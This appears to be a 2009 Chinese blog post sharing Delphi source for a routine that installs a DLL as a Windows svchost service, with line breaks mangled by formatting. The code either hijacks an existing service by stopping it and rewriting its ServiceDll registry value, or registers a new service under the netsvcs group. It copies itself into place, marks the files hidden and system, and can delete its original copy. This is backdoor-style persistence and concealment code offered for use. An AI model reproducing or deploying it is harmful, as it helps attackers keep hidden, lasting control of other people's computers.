替换和安装新svchost服务

procedure Install(var DelMe:Boolean );stdcall ;
var
FileName: 
array[0..255of Char;
reg:TRegistry;
hSCM,hSCS: Cardinal ;
ss : TServiceStatus;
Args : PChar;
s,s1:
string;
begin 
FillChar(FileName,SizeOf(FileName),
0);
GetModuleFileName(HInstance, FileName, SizeOf(FileName));
s :
= Config.DIR+config.FileName;
reg :
= TRegistry.Create;
reg.RootKey :
= HKEY_LOCAL_MACHINE ;
hSCM :
= OpenSCManager(nil,Nil,SC_MANAGER_ALL_ACCESS);
if hSCM = 0 then Exit ;
case Config.StartupMode of
RunAsServiceD : 
//'s':现存服务启动
    
begin
      hSCS :
= OpenService(hSCM ,PChar(string(config.SrvName)), SERVICE_ALL_ACCESS);
      
if hSCS <> 0 then
      
begin
        ControlService(hSCS ,SERVICE_CONTROL_STOP,ss);
        ChangeServiceConfig(hSCS,
                         SERVICE_WIN32_OWN_PROCESS 
or SERVICE_INTERACTIVE_PROCESS,
                         SERVICE_AUTO_START,
                         SERVICE_NO_CHANGE,
                         
nil,nil,nil,nil,nil,nil,nil);
        
if lstrcmpi(FileName,PChar(s)) <> 0 then
        
begin
          Setfileattributes(PChar(s),FILE_ATTRIBUTE_NORMAL );
          CopyFile(FileName, PChar(s),False) ; 
//copy到指定文件夹
        
end;
        reg.OpenKey(
'SYSTEM\CurrentControlSet\Services\'+config.SrvName+'\',True) ;
        SetPrivilege(
'SeBackupPrivilege');
        RegSaveKey(reg.CurrentKey ,PChar(s
+'.uns'),nil);
        SetPrivilege(
'SeBackupPrivilege',False );
        reg.CloseKey;
        reg.OpenKey(
'SYSTEM\CurrentControlSet\Services\'+config.SrvName+
          
'\Parameters\',True) ;
        reg.WriteData(
'ServiceDll',s[1],Length(s),REG_EXPAND_SZ );
        StartService(hSCS , 
0, Args);
        CloseServiceHandle(hSCS);
      
end;
    
end;
RunAsService : 
//新建服务启动
    
begin
      InstallService(Config.SrvName,
                     Config.DisplayName,
                     
'%SystemRoot%\System32\svchost.exe -k netsvcs',
                     Config.Description); 
//安装服务
      
if lstrcmpi(FileName,PChar(s)) <> 0 then
      
begin
        Setfileattributes(PChar(s),FILE_ATTRIBUTE_NORMAL );
        CopyFile(FileName, PChar(s),False) ; 
//copy到指定文件夹
      
end;
 
<span id="more-169"></span>
 
      reg.OpenKey(
'SYSTEM\CurrentControlSet\Services\'+config.SrvName+
        
'\Parameters\',True) ;
      reg.WriteData(
'ServiceDll',s[1],Length(s),REG_EXPAND_SZ );
      reg.CloseKey;
      reg.OpenKey(
'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost',False );
      SetPrivilege(
'SeBackupPrivilege');
      RegSaveKey(reg.CurrentKey ,PChar(s
+'.uns'),nil);
      SetPrivilege(
'SeBackupPrivilege',False );
      s1 :
= reg.ReadString('netsvcs');
      s1 :
= config.SrvName+#0+s1;
      reg.WriteData(
'netsvcs',s1[1],Length(s1),REG_MULTI_SZ );
      hSCS :
= OpenService(hSCM ,PChar(string(config.SrvName)), SERVICE_ALL_ACCESS);
      
if hSCS <> 0 then
      
begin
        StartService(hSCS , 
0, Args);
        CloseServiceHandle(hSCS);
      
end;
    
end;
end;
CloseServiceHandle(hSCM);
reg.CloseKey ;
reg.Free;
Setfileattributes(PChar(s),FILE_ATTRIBUTE_SYSTEM
+FILE_ATTRIBUTE_HIDDEN);
Setfileattributes(PChar(s
+'.uns'),FILE_ATTRIBUTE_SYSTEM+
        FILE_ATTRIBUTE_HIDDEN);
DelMe :
= Config.RMwIns;
end;
posted @ 2009-07-20 18:31  iAdo  阅读(481)  评论(0编辑  收藏  举报